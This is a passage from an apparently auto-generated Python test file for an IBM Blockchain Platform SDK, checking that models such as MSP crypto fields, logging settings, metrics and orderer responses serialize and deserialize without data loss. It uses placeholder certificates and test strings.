# Verify the model instances are equivalent
assert import_ca_body_msp_ca_model == import_ca_body_msp_ca_model2
# Convert model instance back to dict and verify no loss of data
import_ca_body_msp_ca_model_json2 = import_ca_body_msp_ca_model.to_dict()
assert import_ca_body_msp_ca_model_json2 == import_ca_body_msp_ca_model_json
class TestImportCaBodyMspComponent():
"""
Test Class for ImportCaBodyMspComponent
"""
def test_import_ca_body_msp_component_serialization(self):
"""
Test serialization/deserialization for ImportCaBodyMspComponent
"""
# Construct a json representation of a ImportCaBodyMspComponent model
import_ca_body_msp_component_model_json = {}
import_ca_body_msp_component_model_json['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
# Construct a model instance of ImportCaBodyMspComponent by calling from_dict on the json representation
import_ca_body_msp_component_model = ImportCaBodyMspComponent.from_dict(import_ca_body_msp_component_model_json)
assert import_ca_body_msp_component_model != False
# Construct a model instance of ImportCaBodyMspComponent by calling from_dict on the json representation
import_ca_body_msp_component_model_dict = ImportCaBodyMspComponent.from_dict(import_ca_body_msp_component_model_json).__dict__
import_ca_body_msp_component_model2 = ImportCaBodyMspComponent(**import_ca_body_msp_component_model_dict)
# Verify the model instances are equivalent
assert import_ca_body_msp_component_model == import_ca_body_msp_component_model2
# Convert model instance back to dict and verify no loss of data
import_ca_body_msp_component_model_json2 = import_ca_body_msp_component_model.to_dict()
assert import_ca_body_msp_component_model_json2 == import_ca_body_msp_component_model_json
class TestImportCaBodyMspTlsca():
"""
Test Class for ImportCaBodyMspTlsca
"""
def test_import_ca_body_msp_tlsca_serialization(self):
"""
Test serialization/deserialization for ImportCaBodyMspTlsca
"""
# Construct a json representation of a ImportCaBodyMspTlsca model
import_ca_body_msp_tlsca_model_json = {}
import_ca_body_msp_tlsca_model_json['name'] = 'org1tlsCA'
import_ca_body_msp_tlsca_model_json['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a model instance of ImportCaBodyMspTlsca by calling from_dict on the json representation
import_ca_body_msp_tlsca_model = ImportCaBodyMspTlsca.from_dict(import_ca_body_msp_tlsca_model_json)
assert import_ca_body_msp_tlsca_model != False
# Construct a model instance of ImportCaBodyMspTlsca by calling from_dict on the json representation
import_ca_body_msp_tlsca_model_dict = ImportCaBodyMspTlsca.from_dict(import_ca_body_msp_tlsca_model_json).__dict__
import_ca_body_msp_tlsca_model2 = ImportCaBodyMspTlsca(**import_ca_body_msp_tlsca_model_dict)
# Verify the model instances are equivalent
assert import_ca_body_msp_tlsca_model == import_ca_body_msp_tlsca_model2
# Convert model instance back to dict and verify no loss of data
import_ca_body_msp_tlsca_model_json2 = import_ca_body_msp_tlsca_model.to_dict()
assert import_ca_body_msp_tlsca_model_json2 == import_ca_body_msp_tlsca_model_json
class TestLogSettingsResponse():
"""
Test Class for LogSettingsResponse
"""
def test_log_settings_response_serialization(self):
"""
Test serialization/deserialization for LogSettingsResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
logging_settings_client_model = {} # LoggingSettingsClient
logging_settings_client_model['enabled'] = True
logging_settings_client_model['level'] = 'silly'
logging_settings_client_model['unique_name'] = False
logging_settings_server_model = {} # LoggingSettingsServer
logging_settings_server_model['enabled'] = True
logging_settings_server_model['level'] = 'silly'
logging_settings_server_model['unique_name'] = False
# Construct a json representation of a LogSettingsResponse model
log_settings_response_model_json = {}
log_settings_response_model_json['client'] = logging_settings_client_model
log_settings_response_model_json['server'] = logging_settings_server_model
# Construct a model instance of LogSettingsResponse by calling from_dict on the json representation
log_settings_response_model = LogSettingsResponse.from_dict(log_settings_response_model_json)
assert log_settings_response_model != False
# Construct a model instance of LogSettingsResponse by calling from_dict on the json representation
log_settings_response_model_dict = LogSettingsResponse.from_dict(log_settings_response_model_json).__dict__
log_settings_response_model2 = LogSettingsResponse(**log_settings_response_model_dict)
# Verify the model instances are equivalent
assert log_settings_response_model == log_settings_response_model2
# Convert model instance back to dict and verify no loss of data
log_settings_response_model_json2 = log_settings_response_model.to_dict()
assert log_settings_response_model_json2 == log_settings_response_model_json
class TestLoggingSettingsClient():
"""
Test Class for LoggingSettingsClient
"""
def test_logging_settings_client_serialization(self):
"""
Test serialization/deserialization for LoggingSettingsClient
"""
# Construct a json representation of a LoggingSettingsClient model
logging_settings_client_model_json = {}
logging_settings_client_model_json['enabled'] = True
logging_settings_client_model_json['level'] = 'silly'
logging_settings_client_model_json['unique_name'] = False
# Construct a model instance of LoggingSettingsClient by calling from_dict on the json representation
logging_settings_client_model = LoggingSettingsClient.from_dict(logging_settings_client_model_json)
assert logging_settings_client_model != False
# Construct a model instance of LoggingSettingsClient by calling from_dict on the json representation
logging_settings_client_model_dict = LoggingSettingsClient.from_dict(logging_settings_client_model_json).__dict__
logging_settings_client_model2 = LoggingSettingsClient(**logging_settings_client_model_dict)
# Verify the model instances are equivalent
assert logging_settings_client_model == logging_settings_client_model2
# Convert model instance back to dict and verify no loss of data
logging_settings_client_model_json2 = logging_settings_client_model.to_dict()
assert logging_settings_client_model_json2 == logging_settings_client_model_json
class TestLoggingSettingsServer():
"""
Test Class for LoggingSettingsServer
"""
def test_logging_settings_server_serialization(self):
"""
Test serialization/deserialization for LoggingSettingsServer
"""
# Construct a json representation of a LoggingSettingsServer model
logging_settings_server_model_json = {}
logging_settings_server_model_json['enabled'] = True
logging_settings_server_model_json['level'] = 'silly'
logging_settings_server_model_json['unique_name'] = False
# Construct a model instance of LoggingSettingsServer by calling from_dict on the json representation
logging_settings_server_model = LoggingSettingsServer.from_dict(logging_settings_server_model_json)
assert logging_settings_server_model != False
# Construct a model instance of LoggingSettingsServer by calling from_dict on the json representation
logging_settings_server_model_dict = LoggingSettingsServer.from_dict(logging_settings_server_model_json).__dict__
logging_settings_server_model2 = LoggingSettingsServer(**logging_settings_server_model_dict)
# Verify the model instances are equivalent
assert logging_settings_server_model == logging_settings_server_model2
# Convert model instance back to dict and verify no loss of data
logging_settings_server_model_json2 = logging_settings_server_model.to_dict()
assert logging_settings_server_model_json2 == logging_settings_server_model_json
class TestMetrics():
"""
Test Class for Metrics
"""
def test_metrics_serialization(self):
"""
Test serialization/deserialization for Metrics
"""
# Construct dict forms of any model objects needed in order to build this model.
metrics_statsd_model = {} # MetricsStatsd
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
# Construct a json representation of a Metrics model
metrics_model_json = {}
metrics_model_json['provider'] = 'prometheus'
metrics_model_json['statsd'] = metrics_statsd_model
# Construct a model instance of Metrics by calling from_dict on the json representation
metrics_model = Metrics.from_dict(metrics_model_json)
assert metrics_model != False
# Construct a model instance of Metrics by calling from_dict on the json representation
metrics_model_dict = Metrics.from_dict(metrics_model_json).__dict__
metrics_model2 = Metrics(**metrics_model_dict)
# Verify the model instances are equivalent
assert metrics_model == metrics_model2
# Convert model instance back to dict and verify no loss of data
metrics_model_json2 = metrics_model.to_dict()
assert metrics_model_json2 == metrics_model_json
class TestMetricsStatsd():
"""
Test Class for MetricsStatsd
"""
def test_metrics_statsd_serialization(self):
"""
Test serialization/deserialization for MetricsStatsd
"""
# Construct a json representation of a MetricsStatsd model
metrics_statsd_model_json = {}
metrics_statsd_model_json['network'] = 'udp'
metrics_statsd_model_json['address'] = '127.0.0.1:8125'
metrics_statsd_model_json['writeInterval'] = '10s'
metrics_statsd_model_json['prefix'] = 'server'
# Construct a model instance of MetricsStatsd by calling from_dict on the json representation
metrics_statsd_model = MetricsStatsd.from_dict(metrics_statsd_model_json)
assert metrics_statsd_model != False
# Construct a model instance of MetricsStatsd by calling from_dict on the json representation
metrics_statsd_model_dict = MetricsStatsd.from_dict(metrics_statsd_model_json).__dict__
metrics_statsd_model2 = MetricsStatsd(**metrics_statsd_model_dict)
# Verify the model instances are equivalent
assert metrics_statsd_model == metrics_statsd_model2
# Convert model instance back to dict and verify no loss of data
metrics_statsd_model_json2 = metrics_statsd_model.to_dict()
assert metrics_statsd_model_json2 == metrics_statsd_model_json
class TestMspCryptoCa():
"""
Test Class for MspCryptoCa
"""
def test_msp_crypto_ca_serialization(self):
"""
Test serialization/deserialization for MspCryptoCa
"""
# Construct a json representation of a MspCryptoCa model
msp_crypto_ca_model_json = {}
msp_crypto_ca_model_json['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_ca_model_json['ca_intermediate_certs'] = ['testString']
# Construct a model instance of MspCryptoCa by calling from_dict on the json representation
msp_crypto_ca_model = MspCryptoCa.from_dict(msp_crypto_ca_model_json)
assert msp_crypto_ca_model != False
# Construct a model instance of MspCryptoCa by calling from_dict on the json representation
msp_crypto_ca_model_dict = MspCryptoCa.from_dict(msp_crypto_ca_model_json).__dict__
msp_crypto_ca_model2 = MspCryptoCa(**msp_crypto_ca_model_dict)
# Verify the model instances are equivalent
assert msp_crypto_ca_model == msp_crypto_ca_model2
# Convert model instance back to dict and verify no loss of data
msp_crypto_ca_model_json2 = msp_crypto_ca_model.to_dict()
assert msp_crypto_ca_model_json2 == msp_crypto_ca_model_json
class TestMspCryptoComp():
"""
Test Class for MspCryptoComp
"""
def test_msp_crypto_comp_serialization(self):
"""
Test serialization/deserialization for MspCryptoComp
"""
# Construct dict forms of any model objects needed in order to build this model.
client_auth_model = {} # ClientAuth
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
# Construct a json representation of a MspCryptoComp model
msp_crypto_comp_model_json = {}
msp_crypto_comp_model_json['ekey'] = 'testString'
msp_crypto_comp_model_json['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_comp_model_json['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_comp_model_json['tls_key'] = 'testString'
msp_crypto_comp_model_json['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_comp_model_json['client_auth'] = client_auth_model
# Construct a model instance of MspCryptoComp by calling from_dict on the json representation
msp_crypto_comp_model = MspCryptoComp.from_dict(msp_crypto_comp_model_json)
assert msp_crypto_comp_model != False
# Construct a model instance of MspCryptoComp by calling from_dict on the json representation
msp_crypto_comp_model_dict = MspCryptoComp.from_dict(msp_crypto_comp_model_json).__dict__
msp_crypto_comp_model2 = MspCryptoComp(**msp_crypto_comp_model_dict)
# Verify the model instances are equivalent
assert msp_crypto_comp_model == msp_crypto_comp_model2
# Convert model instance back to dict and verify no loss of data
msp_crypto_comp_model_json2 = msp_crypto_comp_model.to_dict()
assert msp_crypto_comp_model_json2 == msp_crypto_comp_model_json
class TestMspCryptoFieldCa():
"""
Test Class for MspCryptoFieldCa
"""
def test_msp_crypto_field_ca_serialization(self):
"""
Test serialization/deserialization for MspCryptoFieldCa
"""
# Construct a json representation of a MspCryptoFieldCa model
msp_crypto_field_ca_model_json = {}
msp_crypto_field_ca_model_json['name'] = 'ca'
msp_crypto_field_ca_model_json['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a model instance of MspCryptoFieldCa by calling from_dict on the json representation
msp_crypto_field_ca_model = MspCryptoFieldCa.from_dict(msp_crypto_field_ca_model_json)
assert msp_crypto_field_ca_model != False
# Construct a model instance of MspCryptoFieldCa by calling from_dict on the json representation
msp_crypto_field_ca_model_dict = MspCryptoFieldCa.from_dict(msp_crypto_field_ca_model_json).__dict__
msp_crypto_field_ca_model2 = MspCryptoFieldCa(**msp_crypto_field_ca_model_dict)
# Verify the model instances are equivalent
assert msp_crypto_field_ca_model == msp_crypto_field_ca_model2
# Convert model instance back to dict and verify no loss of data
msp_crypto_field_ca_model_json2 = msp_crypto_field_ca_model.to_dict()
assert msp_crypto_field_ca_model_json2 == msp_crypto_field_ca_model_json
class TestMspCryptoFieldComponent():
"""
Test Class for MspCryptoFieldComponent
"""
def test_msp_crypto_field_component_serialization(self):
"""
Test serialization/deserialization for MspCryptoFieldComponent
"""
# Construct a json representation of a MspCryptoFieldComponent model
msp_crypto_field_component_model_json = {}
msp_crypto_field_component_model_json['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model_json['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model_json['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a model instance of MspCryptoFieldComponent by calling from_dict on the json representation
msp_crypto_field_component_model = MspCryptoFieldComponent.from_dict(msp_crypto_field_component_model_json)
assert msp_crypto_field_component_model != False
# Construct a model instance of MspCryptoFieldComponent by calling from_dict on the json representation
msp_crypto_field_component_model_dict = MspCryptoFieldComponent.from_dict(msp_crypto_field_component_model_json).__dict__
msp_crypto_field_component_model2 = MspCryptoFieldComponent(**msp_crypto_field_component_model_dict)
# Verify the model instances are equivalent
assert msp_crypto_field_component_model == msp_crypto_field_component_model2
# Convert model instance back to dict and verify no loss of data
msp_crypto_field_component_model_json2 = msp_crypto_field_component_model.to_dict()
assert msp_crypto_field_component_model_json2 == msp_crypto_field_component_model_json
class TestMspCryptoFieldTlsca():
"""
Test Class for MspCryptoFieldTlsca
"""
def test_msp_crypto_field_tlsca_serialization(self):
"""
Test serialization/deserialization for MspCryptoFieldTlsca
"""
# Construct a json representation of a MspCryptoFieldTlsca model
msp_crypto_field_tlsca_model_json = {}
msp_crypto_field_tlsca_model_json['name'] = 'tlsca'
msp_crypto_field_tlsca_model_json['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a model instance of MspCryptoFieldTlsca by calling from_dict on the json representation
msp_crypto_field_tlsca_model = MspCryptoFieldTlsca.from_dict(msp_crypto_field_tlsca_model_json)
assert msp_crypto_field_tlsca_model != False
# Construct a model instance of MspCryptoFieldTlsca by calling from_dict on the json representation
msp_crypto_field_tlsca_model_dict = MspCryptoFieldTlsca.from_dict(msp_crypto_field_tlsca_model_json).__dict__
msp_crypto_field_tlsca_model2 = MspCryptoFieldTlsca(**msp_crypto_field_tlsca_model_dict)
# Verify the model instances are equivalent
assert msp_crypto_field_tlsca_model == msp_crypto_field_tlsca_model2
# Convert model instance back to dict and verify no loss of data
msp_crypto_field_tlsca_model_json2 = msp_crypto_field_tlsca_model.to_dict()
assert msp_crypto_field_tlsca_model_json2 == msp_crypto_field_tlsca_model_json
class TestMspPublicData():
"""
Test Class for MspPublicData
"""
def test_msp_public_data_serialization(self):
"""
Test serialization/deserialization for MspPublicData
"""
# Construct a json representation of a MspPublicData model
msp_public_data_model_json = {}
msp_public_data_model_json['msp_id'] = 'Org1'
msp_public_data_model_json['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_public_data_model_json['admins'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_public_data_model_json['tls_root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a model instance of MspPublicData by calling from_dict on the json representation
msp_public_data_model = MspPublicData.from_dict(msp_public_data_model_json)
assert msp_public_data_model != False
# Construct a model instance of MspPublicData by calling from_dict on the json representation
msp_public_data_model_dict = MspPublicData.from_dict(msp_public_data_model_json).__dict__
msp_public_data_model2 = MspPublicData(**msp_public_data_model_dict)
# Verify the model instances are equivalent
assert msp_public_data_model == msp_public_data_model2
# Convert model instance back to dict and verify no loss of data
msp_public_data_model_json2 = msp_public_data_model.to_dict()
assert msp_public_data_model_json2 == msp_public_data_model_json
class TestMspResponse():
"""
Test Class for MspResponse
"""
def test_msp_response_serialization(self):
"""
Test serialization/deserialization for MspResponse
"""
# Construct a json representation of a MspResponse model
msp_response_model_json = {}
msp_response_model_json['id'] = 'component1'
msp_response_model_json['type'] = 'fabric-peer'
msp_response_model_json['display_name'] = 'My Peer'
msp_response_model_json['msp_id'] = 'Org1'
msp_response_model_json['timestamp'] = 1537262855753
msp_response_model_json['tags'] = ['fabric-ca']
msp_response_model_json['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_response_model_json['intermediate_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkRhdGEgaGVyZSBpZiB0aGlzIHdhcyByZWFsCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K']
msp_response_model_json['admins'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_response_model_json['scheme_version'] = 'v1'
msp_response_model_json['tls_root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
# Construct a model instance of MspResponse by calling from_dict on the json representation
msp_response_model = MspResponse.from_dict(msp_response_model_json)
assert msp_response_model != False
# Construct a model instance of MspResponse by calling from_dict on the json representation
msp_response_model_dict = MspResponse.from_dict(msp_response_model_json).__dict__
msp_response_model2 = MspResponse(**msp_response_model_dict)
# Verify the model instances are equivalent
assert msp_response_model == msp_response_model2
# Convert model instance back to dict and verify no loss of data
msp_response_model_json2 = msp_response_model.to_dict()
assert msp_response_model_json2 == msp_response_model_json
class TestNotificationData():
"""
Test Class for NotificationData
"""
def test_notification_data_serialization(self):
"""
Test serialization/deserialization for NotificationData
"""
# Construct a json representation of a NotificationData model
notification_data_model_json = {}
notification_data_model_json['id'] = '60d84819bfa17adb4174ff3a1c52b5d6'
notification_data_model_json['type'] = 'notification'
notification_data_model_json['status'] = 'pending'
notification_data_model_json['by'] = 'd******a@us.ibm.com'
notification_data_model_json['message'] = 'Restarting application'
notification_data_model_json['ts_display'] = 1537262855753
# Construct a model instance of NotificationData by calling from_dict on the json representation
notification_data_model = NotificationData.from_dict(notification_data_model_json)
assert notification_data_model != False
# Construct a model instance of NotificationData by calling from_dict on the json representation
notification_data_model_dict = NotificationData.from_dict(notification_data_model_json).__dict__
notification_data_model2 = NotificationData(**notification_data_model_dict)
# Verify the model instances are equivalent
assert notification_data_model == notification_data_model2
# Convert model instance back to dict and verify no loss of data
notification_data_model_json2 = notification_data_model.to_dict()
assert notification_data_model_json2 == notification_data_model_json
class TestOrdererResponse():
"""
Test Class for OrdererResponse
"""
def test_orderer_response_serialization(self):
"""
Test serialization/deserialization for OrdererResponse
"""
# Construct dict forms of any model objects needed in order to build this model.
node_ou_model = {} # NodeOu
node_ou_model['enabled'] = True
msp_crypto_field_ca_model = {} # MspCryptoFieldCa
msp_crypto_field_ca_model['name'] = 'ca'
msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_field_tlsca_model = {} # MspCryptoFieldTlsca
msp_crypto_field_tlsca_model['name'] = 'tlsca'
msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_field_component_model = {} # MspCryptoFieldComponent
msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
msp_crypto_field_model = {} # MspCryptoField
msp_crypto_field_model['ca'] = msp_crypto_field_ca_model
msp_crypto_field_model['tlsca'] = msp_crypto_field_tlsca_model
msp_crypto_field_model['component'] = msp_crypto_field_component_model
generic_resources_requests_model = {} # GenericResourcesRequests
generic_resources_requests_model['cpu'] = '100m'
generic_resources_requests_model['memory'] = '256M'
generic_resource_limits_model = {} # GenericResourceLimits
generic_resource_limits_model['cpu'] = '8000m'
generic_resource_limits_model['memory'] = '16384M'
generic_resources_model = {} # GenericResources
generic_resources_model['requests'] = generic_resources_requests_model
generic_resources_model['limits'] = generic_resource_limits_model
orderer_response_resources_model = {} # OrdererResponseResources
orderer_response_resources_model['orderer'] = generic_resources_model
orderer_response_resources_model['proxy'] = generic_resources_model
storage_object_model = {} # StorageObject
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
orderer_response_storage_model = {} # OrdererResponseStorage
orderer_response_storage_model['orderer'] = storage_object_model
# Construct a json representation of a OrdererResponse model
orderer_response_model_json = {}
orderer_response_model_json['id'] = 'component1'
orderer_response_model_json['dep_component_id'] = 'admin'
orderer_response_model_json['api_url'] = 'grpcs://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:7050'
orderer_response_model_json['display_name'] = 'orderer'
orderer_response_model_json['cluster_id'] = 'mzdqhdifnl'
orderer_response_model_json['cluster_name'] = 'ordering service 1'
orderer_response_model_json['grpcwp_url'] = 'https://n3a3ec3-myorderer-proxy.ibp.us-south.containers.appdomain.cloud:443'
orderer_response_model_json['location'] = 'ibmcloud'
orderer_response_model_json['operations_url'] = 'https://n3a3ec3-myorderer.ibp.us-south.containers.appdomain.cloud:8443'
orderer_response_model_json['orderer_type'] = 'raft'
orderer_response_model_json['config_override'] = { 'foo': 'bar' }
orderer_response_model_json['consenter_proposal_fin'] = True
orderer_response_model_json['node_ou'] = node_ou_model
orderer_response_model_json['msp'] = msp_crypto_field_model
orderer_response_model_json['msp_id'] = 'Org1'
orderer_response_model_json['resources'] = orderer_response_resources_model
orderer_response_model_json['scheme_version'] = 'v1'
orderer_response_model_json['storage'] = orderer_response_storage_model
orderer_response_model_json['system_channel_id'] = 'testchainid'
orderer_response_model_json['tags'] = ['fabric-ca']
orderer_response_model_json['timestamp'] = 1537262855753
orderer_response_model_json['type'] = 'fabric-peer'
orderer_response_model_json['version'] = '1.4.6-1'
orderer_response_model_json['zone'] = '-'
# Construct a model instance of OrdererResponse by calling from_dict on the json representation
orderer_response_model = OrdererResponse.from_dict(orderer_response_model_json)
assert orderer_response_model != False
# Construct a model instance of OrdererResponse by calling from_dict on the json representation
orderer_response_model_dict = OrdererResponse.from_dict(orderer_response_model_json).__dict__
orderer_response_model2 = OrdererResponse(**orderer_response_model_dict)
# Verify the model instances are equivalent
assert orderer_response_model == orderer_response_model2
# Convert model instance back to dict and verify no loss of data
orderer_response_model_json2 = orderer_response_model.to_dict()
assert orderer_response_model_json2 == orderer_response_model_json
class TestOrdererResponseResources():
"""
Test Class for OrdererResponseResources
"""
def test_orderer_response_resources_serialization(self):
"""
Test serialization/deserialization for OrdererResponseResources
"""
# Construct dict forms of any model objects needed in order to build this model.
generic_resources_requests_model = {} # GenericResourcesRequests
generic_resources_requests_model['cpu'] = '100m'
generic_resources_requests_model['memory'] = '256M'
generic_resource_limits_model = {} # GenericResourceLimits
generic_resource_limits_model['cpu'] = '8000m'
generic_resource_limits_model['memory'] = '16384M'
generic_resources_model = {} # GenericResources
generic_resources_model['requests'] = generic_resources_requests_model
generic_resources_model['limits'] = generic_resource_limits_model
# Construct a json representation of a OrdererResponseResources model
orderer_response_resources_model_json = {}
orderer_response_resources_model_json['orderer'] = generic_resources_model
orderer_response_resources_model_json['proxy'] = generic_resources_model
# Construct a model instance of OrdererResponseResources by calling from_dict on the json representation
orderer_response_resources_model = OrdererResponseResources.from_dict(orderer_response_resources_model_json)
assert orderer_response_resources_model != False
# Construct a model instance of OrdererResponseResources by calling from_dict on the json representation
orderer_response_resources_model_dict = OrdererResponseResources.from_dict(orderer_response_resources_model_json).__dict__
orderer_response_resources_model2 = OrdererResponseResources(**orderer_response_resources_model_dict)
# Verify the model instances are equivalent
assert orderer_response_resources_model == orderer_response_resources_model2
# Convert model instance back to dict and verify no loss of data
orderer_response_resources_model_json2 = orderer_response_resources_model.to_dict()
assert orderer_response_resources_model_json2 == orderer_response_resources_model_json
class TestOrdererResponseStorage():
"""
Test Class for OrdererResponseStorage
"""
def test_orderer_response_storage_serialization(self):
"""
Test serialization/deserialization for OrdererResponseStorage
"""
# Construct dict forms of any model objects needed in order to build this model.
storage_object_model = {} # StorageObject
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
# Construct a json representation of a OrdererResponseStorage model
orderer_response_storage_model_json = {}
orderer_response_storage_model_json['orderer'] = storage_object_model
# Construct a model instance of OrdererResponseStorage by calling from_dict on the json representation
orderer_response_storage_model = OrdererResponseStorage.from_dict(orderer_response_storage_model_json)
assert orderer_response_storage_model != False
# Construct a model instance of OrdererResponseStorage by calling from_dict on the json representation
orderer_response_storage_model_dict = OrdererResponseStorage.from_dict(orderer_response_storage_model_json).__dict__
orderer_response_storage_model2 = OrdererResponseStorage(**orderer_response_storage_model_dict)
# Verify the model instances are equivalent
assert orderer_response_storage_model == orderer_response_storage_model2
# Convert model instance back to dict and verify no loss of data
orderer_response_storage_model_json2 = orderer_response_storage_model.to_dict()
assert orderer_response_storage_model_json2 == orderer_response_storage_model_json
class TestPeerResources():
"""
Test Class for PeerResources
"""
def test_peer_resources_serialization(self):
"""
Test serialization/deserialization for PeerResources
"""
# Construct dict forms of any model objects needed in order to build this model.
resource_requests_model = {} # ResourceRequests
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
resource_limits_model = {} # ResourceLimits
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
resource_object_fab_v2_model = {} # ResourceObjectFabV2
resource_object_fab_v2_model['requests'] = resource_requests_model
resource_object_fab_v2_model['limits'] = resource_limits_model
resource_object_couch_db_model = {} # ResourceObjectCouchDb
resource_object_couch_db_model['requests'] = resource_requests_model
resource_object_couch_db_model['limits'] = resource_limits_model
resource_object_model = {} # ResourceObject
resource_object_model['requests'] = resource_requests_model
